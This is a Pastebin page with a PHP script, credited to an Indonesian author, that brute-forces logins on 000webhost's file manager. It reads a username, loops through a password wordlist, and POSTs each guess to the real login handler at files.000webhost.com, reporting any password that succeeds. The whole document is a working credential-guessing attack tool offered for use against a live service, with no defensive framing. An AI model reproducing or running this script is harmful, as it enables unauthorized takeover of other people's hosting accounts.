Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- system('clear');
- //===========CopyRight nih Tolo ajg Bangsd Jangan Diganti=============
- //@Author : Fansa (IndoSec)
- //@Kegunaan : Gaguna sumpah, Cuman 000webhost BruteForce
- //@Created Date : 25 November 2018
- //@Usage : php namafile.php list.txt
- //===========CopyRight nih Tolo ajg Bangsd Jangan Diganti=============
- //===========List Checking=============
- echo "
- ___ ___ ___ ____ _
- / _ \ / _ \ / _ \| __ ) _ __ _ _| |_ ___
- | | | | | | | | | | _ \| '__| | | | __/ _ \
- | |_| | |_| | |_| | |_) | | | |_| | || __/
- \___/ \___/ \___/|____/|_| \__,_|\__\___|
- ";
- echo "\nUsername : ";
- $user = trim(fgets(STDIN, 1024));
- $list = "WORDLIST DISINI";
- /*@Ex :
- $list = "Nani
- Kore
- Desu
- Ka
- Hahaha
- Yamete
- Senpai
- Ahhhh
- Wik Wik Wik";
- */
- $explode = explode("\n", $list);
- if (empty($list)) {
- echo "WordList tidak ada\n";
- } else {
- foreach ($explode as $check) {
- echo "[x] Mencoba Password : ".$check;
- //===========List Checking=============
- //===========REQUEST METHOD=============
- $data = '{"action":"login","username":"'.$user.'","password":"'.$check.'"}';
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_POST, true);
- curl_setopt($ch, CURLOPT_URL, 'https://files.000webhost.com/handler.php?action=login');
- curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
- $res = curl_exec($ch);
- //===========REQUEST METHOD=============
- //===========Opsional=============
- $ch2 = curl_init();
- curl_setopt($ch2, CURLOPT_URL, 'https://files.000webhost.com/');
- curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch2, CURLOPT_HEADER, 0);
- $res2 = curl_exec($ch2);
- //===========Opsional=============
- //===========Info=============
- if (preg_match('/true/',$res)) {
- preg_match('/<title>(.*?)<\/title>/',$res,$f);
- echo "\nSukses Login...\n\nResponse";
- echo "\n=========================\n";
- print_r($res);
- echo "\nPassword : ".$check."\n";
- die();
- echo "\n=========================\n";
- } else {
- echo "\nGagal Login Bos...\n\n";
- }
- }
- }
- //===========Info=============
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement